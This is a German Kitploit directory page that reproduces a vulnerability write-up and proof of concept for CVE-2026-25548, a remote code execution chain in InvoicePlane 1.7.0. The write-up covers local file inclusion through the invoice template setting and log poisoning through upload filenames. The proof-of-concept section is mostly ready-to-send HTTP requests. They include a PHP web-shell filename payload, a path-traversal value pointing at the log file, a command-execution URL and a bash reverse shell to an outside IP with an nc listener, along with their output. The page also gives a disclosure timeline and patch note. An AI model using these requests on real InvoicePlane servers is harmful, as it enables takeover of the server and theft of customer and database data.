Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-25548 — # Detaillierte technische Analyse und Proof-of-Concept für CVE-2026-25548, eine kritische RCE in InvoicePlane 1.7.0 über LFI und Log-Poisoning, einschließlich Angriffskette, PoC-Anfragen und Auswirkungsanalyse. | Kitploit
Tools/GitHubGitHub/lagathos/cve-2026-25548
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHublagathos/cve-2026-25548

CVE-2026-25548

# Detaillierte technische Analyse und Proof-of-Concept für CVE-2026-25548, eine kritische RCE in InvoicePlane 1.7.0 über LFI und Log-Poisoning, einschließlich Angriffskette, PoC-Anfragen und Auswirkungsanalyse.

Repository anzeigen
12vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-25548 — Remote Code Execution in InvoicePlane 1.7.0

Schwachstelle: Remote Code Execution durch Local File Inclusion + Log Poisoning

Produkt: InvoicePlane

Betroffene Version: 1.7.0 (und wahrscheinlich frühere Versionen)

Schweregrad: Kritisch

CVSS 3.1-Score: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

CWE: CWE-98, CWE-117, CWE-94

Entdeckt von: Leonidas Agathos

Meldedatum: 2026-01-31


Inhaltsverzeichnis

  • Beschreibung
  • Details zur Schwachstelle
    • 1. Local File Inclusion (LFI)
    • 2. Log Poisoning über Upload-Dateinamen
  • Angriffskette
  • Proof of Concept
    • Schritt 1 — Log Poisoning
    • Schritt 2 — LFI konfigurieren
    • Schritt 3 — RCE auslösen
    • Schritt 4 — Reverse Shell
  • Auswirkungen
  • Betroffene Komponenten
  • Zeitplan

  • Beschreibung

    Eine kritische Schwachstellenkette in InvoicePlane 1.7.0 ermöglicht es einem authentifizierten Administrator, Remote Code Execution (RCE) auf dem zugrunde liegenden Server zu erreichen. Der Angriff kombiniert zwei Schwachstellen:

    1. Local File Inclusion (LFI) — Die Einstellung für öffentliche Rechnungsvorlagen akzeptiert beliebige Dateipfade ohne Validierung, wodurch Dateien außerhalb des vorgesehenen Vorlagenverzeichnisses eingebunden werden können.
    2. Log Poisoning — Upload-Dateinamen, die Pfad-Traversal-Zeichen enthalten, werden unverändert in CodeIgniters .php-Logdateien geschrieben, wodurch beliebiger PHP-Code injiziert werden kann.

    In Kombination kann ein Angreifer mit Admin-Zugriff die vollständige Kontrolle über den Server als Webserver-Benutzer erlangen. Der finale RCE-Auslöser ist nicht authentifiziert (öffentliche Rechnungs-URL).


    Details zur Schwachstelle

    1. Local File Inclusion (LFI)

    AttributWert
    Dateiapplication/modules/guest/controllers/View.php
    Zeilen85, 191
    Parameterpublic_invoice_template (Datenbankeinstellung)
    CWECWE-98: Unsachgemäße Kontrolle des Dateinamens für Include/Require-Anweisung

    Verwundbarer Code (View.php:85):

    root@kitploit:~
    $this->load->view('invoice_templates/public/' .
        get_setting('public_invoice_template') . '.php', $data);
    

    Verwundbarer Code (View.php:191):

    root@kitploit:~
    $this->load->view('quote_templates/public/' .
        get_setting('public_quote_template') . '.php', $data);
    

    Die Einstellungen public_invoice_template und public_quote_template werden aus der Datenbank abgerufen und direkt in einen Dateipfad eingefügt, der an CodeIgniters load->view() übergeben wird (was zu PHP's include() aufgelöst wird). Es gibt keine Validierung, um:

    • Pfad-Traversal-Sequenzen (../) zu verhindern
    • Erlaubte Vorlagennamen auf eine Whitelist zu setzen
    • Zu bestätigen, dass die Datei im erwarteten Vorlagenverzeichnis existiert

    Ein Administrator kann diesen Wert auf jeden Pfad im Dateisystem setzen, eingeschränkt nur durch die automatisch angehängte .php-Endung.


    2. Log Poisoning über Upload-Dateinamen

    AttributWert
    Dateiapplication/modules/upload/controllers/Upload.php
    Zeilen178–184
    ParameterUpload-Dateiname (HTTP-Multipart-Formulardaten)
    CWECWE-117: Unsachgemäße Ausgabeneutralisierung für Logs

    Verwundbarer Code (Upload.php:178-184):

    root@kitploit:~
    private function sanitize_file_name(string $filename): string
    {
        if (str_contains($filename, '..')
            || str_contains($filename, '/')
            || str_contains($filename, '\\')
            || str_contains($filename, "\0")) {
            log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
            return '';
        }
        // ...
    }
    

    Wenn ein Dateiname die Pfad-Traversal-Prüfung auslöst, wird der rohe, nicht bereinigte Dateiname direkt in die Logdatei geschrieben. CodeIgniter-Logdateien:

    • Verwenden die .php-Endung: application/logs/log-YYYY-MM-DD.php
    • Beginnen mit <?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>
    • Sind daher gültige PHP-Dateien, die bei Einbindung ausgeführt werden

    Ein Angreifer, der <?php system($_GET[1]); ?> in den Dateinamen einbettet, bewirkt, dass dieser Payload in das Log geschrieben und später über die LFI ausgeführt wird.


    Angriffskette

    root@kitploit:~
    [Authentifizierter Benutzer]  →  Bösartigen Dateinamen hochladen  →  PHP in Logdatei injiziert
    [Admin]                       →  Vorlageneinstellung setzen        →  LFI zeigt auf Logdatei
    [Jeder]                       →  Öffentliche Rechnungs-URL besuchen →  RCE
    
    SchrittAnforderung
    Log PoisoningAuthentifizierter Benutzer mit Upload-Zugriff
    LFI-KonfigurationAdministratorkonto
    RCE-AuslöserNicht authentifiziert (öffentliche Rechnungs-URL)

    Proof of Concept

    Schritt 1 — Log Poisoning

    Senden Sie eine Datei-Upload-Anfrage mit einer PHP-Webshell, die in den Dateinamen eingebettet ist. Die Pfad-Traversal-Prüfung wird ausgelöst und schreibt den rohen Dateinamen (einschließlich des PHP-Payloads) in die Logdatei.

    Anfrage (über Burp Suite):

    root@kitploit:~
    POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
    Host: 172.25.0.12
    Cookie: ip_csrf_cookie=...; ip_session=...
    Content-Type: multipart/form-data; boundary=----Boundary
    
    ------Boundary
    Content-Disposition: form-data; name="_ip_csrf"
    
    <csrf_token>
    ------Boundary
    Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
    Content-Type: image/jpeg
    
    test
    ------Boundary--
    

    Der Server lehnt den Upload ab (upload_error_invalid_extension), aber der Logeintrag ist bereits geschrieben:

    Ergebnis in application/logs/log-2026-01-31.php:

    root@kitploit:~
    ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg
    

    Navigieren Sie zum Anhänge-Bereich einer Rechnung und klicken Sie auf Dateien hinzufügen, um den Upload-Endpunkt zu erreichen.

    Schritt 1a - Upload-Einstiegspunkt für Rechnungsanhänge

    Schritt 1b - Injizieren des PHP-Payloads über einen bösartigen Dateinamen

    Schritt 1c - Logdatei mit injiziertem PHP-Payload


    Schritt 2 — LFI konfigurieren

    Als Administrator setzen Sie die Einstellung public_invoice_template so, dass sie mit einem Pfad-Traversal-Payload auf die heutige Logdatei zeigt. CodeIgniters View-Loader hängt .php automatisch an.

    Anfrage (über Burp Suite):

    root@kitploit:~
    POST /index.php/settings HTTP/1.1
    Host: 172.25.0.12
    Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
    Content-Type: multipart/form-data; boundary=----Boundary
    
    ------Boundary
    Content-Disposition: form-data; name="settings[public_invoice_template]"
    
    ../../../logs/log-2026-01-31
    ------Boundary--
    

    Der Traversal-Pfad wird von application/views/invoice_templates/public/ bis zu application/logs/ aufgelöst und bindet dann log-2026-01-31.php ein.

    Schritt 2 - Setzen von public_invoice_template auf den Logdateipfad über Burp Suite


    Schritt 3 — RCE auslösen

    Rufen Sie eine beliebige öffentliche Rechnungs-URL mit einem Befehl auf, der als 1-GET-Parameter übergeben wird. Es ist keine Authentifizierung erforderlich.

    Anfrage:

    root@kitploit:~
    GET /index.php/guest/view/invoice/<invoice_url_key>?1=id HTTP/1.1
    Host: 172.25.0.12
    

    Antwort (im Seitenquelltext):

    root@kitploit:~
    Path traversal attempt detected in filename: ..uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
    .jpg
    

    Der system($_GET[1])-Payload führt den Befehl id aus, und seine Ausgabe wird inline in der Seite angezeigt.

    Schritt 3 - Befehlsausgabe in der HTTP-Antwort über die öffentliche Rechnungs-URL


    Schritt 4 — Reverse Shell

    Ersetzen Sie den Befehl durch einen Bash-Reverse-Shell-Payload, um eine interaktive Shell zu erhalten:

    root@kitploit:~
    GET /index.php/guest/view/invoice/<invoice_url_key>?1=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.25.131/4444+0>%261' HTTP/1.1
    

    Auf dem Angreifer-Rechner:

    root@kitploit:~
    nc -lnvp 4444
    

    Ergebnis:

    root@kitploit:~
    connect to [192.168.25.131] from (UNKNOWN) [172.25.0.11] 43360
    www-data@0dd592f7a424:~/projects/invoiceplane$
    

    Vollständige interaktive Shell als www-data.

    Schritt 4 - Etablierte Reverse Shell, die vollständige RCE bestätigt


    Auswirkungen

    DimensionBewertungDetail
    VertraulichkeitHOCHVoller Lesezugriff auf alle Dateien, die für den Webserver-Benutzer zugänglich sind, einschließlich Datenbankzugangsdaten und Kundendaten
    IntegritätHOCHBeliebige Dateischreibvorgänge, Datenbankänderungen, Installation von Webshells
    VerfügbarkeitHOCHDenial of Service, Ransomware-Einsatz, Systemzerstörung

    Betroffene Komponenten

    DateiSchwachstelle
    application/modules/guest/controllers/View.php:85LFI — Rechnungsvorlage
    application/modules/guest/controllers/View.php:191LFI — Angebotsvorlage
    application/modules/upload/controllers/Upload.php:182Log Poisoning
    application/modules/settings/controllers/Settings.phpKeine Validierung der Vorlageneinstellung

    Zeitplan

    DatumEreignis
    2026-01-30Schwachstelle entdeckt
    2026-01-31Proof of Concept entwickelt
    2026-01-31Hersteller benachrichtigt
    2026-02-03Bestätigung durch den Hersteller
    2026-02-03Patch veröffentlicht
    2026-02-04Öffentliche Offenlegung

    Referenzen

    • CWE-98: Unsachgemäße Kontrolle des Dateinamens für Include/Require-Anweisung
    • CWE-117: Unsachgemäße Ausgabeneutralisierung für Logs
    • CWE-94: Unsachgemäße Kontrolle der Codegenerierung
    • OWASP: Path Traversal
    • OWASP: Log Injection
    • CVE-2026-25548

    Haftungsausschluss

    Diese Schwachstelle wurde im Rahmen unabhängiger Sicherheitsforschung entdeckt. Alle Informationen werden ausschließlich zu Bildungs-, Forschungs- und Verteidigungszwecken bereitgestellt, um dem Hersteller und der Sicherheitsgemeinschaft beim Verständnis und der Behebung des Problems zu helfen. Jegliche böswillige Nutzung dieser Informationen ist strengstens untersagt.

    Tool herunterladen